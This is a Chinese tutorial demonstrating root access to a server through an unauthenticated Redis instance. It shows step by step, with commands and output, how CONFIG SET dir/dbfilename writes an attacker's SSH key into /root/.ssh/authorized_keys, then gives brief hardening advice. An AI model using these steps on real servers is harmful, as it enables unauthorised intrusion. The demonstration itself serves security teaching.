5. redis安全第一步
最后更新于：2022-04-02 07:38:57
描述：
我们来模拟一下，首先会使用端口扫描工具来扫描公网上开放的6379端口，假设我们扫描到10.10.20.17的6379端口对外网开放了（10.10.20.17当做公网IP）,并且redis没有设置认证。
我使用的是 3.0.6版本默认配置文件（没有bind ip的）
### 1、直接连上去
本地安装redis服务就可直接连接到远程redis服务。
~~~
[root@20centos ~]# /home/jia/redis-3.0.6/src/redis-cli -h 10.10.20.17 -p 6379
10.10.20.17:6379> config get dir #查看数据保存目录
1) "dir"
2) "/root"
10.10.20.17:6379> config set dir "/root/.ssh" #修改数据保存目录
OK
10.10.20.17:6379> config get dir
1) "dir"
2) "/root/.ssh"
10.10.20.17:6379> CONFIG GET dbfilename #查看保存的文件名
1) "dbfilename"
2) "dump.rdb"
10.10.20.17:6379> config set dbfilename "authorized_keys" #修改保存文件名称
OK
10.10.20.17:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
10.10.20.17:6379>
~~~
### 2、将本地公钥写到redis
~~~
[root@20centos ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:d/MJ73LKzrJtFfcxaXYX0q38rXhxSJOvftoDCpHoPmY root@VM_20_26_centos
The key's randomart image is:
+---[RSA 2048]----+
| . .|
| . o.|
| . . ..oo|
| . o B*+|
| . S o +.oBB|
| . o . *+.*|
| . . .o== |
| E .=+.=o.|
| o . .=**+oo|
+----[SHA256]-----+
[root@VM_20_26_centos ~]# cd /root/.ssh/
[root@VM_20_26_centos .ssh]# ll
total 12
-rw-r--r-- 1 root root 862 Jul 29 13:46 authorized_keys
-rw------- 1 root root 1675 Jul 30 14:14 id_rsa
-rw-r--r-- 1 root root 402 Jul 30 14:14 id_rsa.pub
[root@20centos .ssh]# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> haha.txt #公钥key文件写入txt（我的key删了一些仅供参考就可以）
[root@20centos .ssh]# cat haha.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04dqTbzUAuWZbrPLwxswapVEkWdPmWKZycT55B2I68UNDNNP3EiBKHvwd5xqZ+Pm/Boykdf4YaEOhSujdsaal/FDmMWKRnbX root@20centos
[root@20centos .ssh]# cat haha.txt | /root/redis-3.0.6/src/redis-cli -h 10.10.20.17 -p 6379 -x set haha ##写入到redis
OK
[root@20centos .ssh]# /root/redis-3.0.6/src/redis-cli -h 10.10.20.17 -p 6379
10.10.20.17:6379> save #保存到本地
OK
10.10.20.17:6379> exit
~~~
### 3、ssh尝试连接服务器
~~~
[root@VM20centos .ssh]# ssh root@10.10.20.17
Last login: Thu Jul 30 14:08:49 2020
[root@17centos ~]# ifconfig
eth0: flags=4163 mtu 1500
inet 10.10.20.17 netmask 255.255.255.0 broadcast 10.10.20.255
ether 52:54:00:ba:b0:f1 txqueuelen 1000 (Ethernet)
RX packets 653658 bytes 184065832 (175.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 566326 bytes 81215612 (77.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 143290 bytes 7086525165 (6.5 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 143290 bytes 7086525165 (6.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
~~~
### **本章模拟了，通过redis获取到服务器权限，希望大家不要去扫描、尝试登陆其他人的服务器。**
### 生产环境redis安全
在新的版本中redis配置文件默认”bind 127.0.0.1“，需要我修改为内网ip，本机访问可以不修改，
> 不使用默认端口
> 配置文件bind 内网ip地址
> 添加密码认证
> 不使用root用户启动，专用用户
> 防火墙限制外网访问
';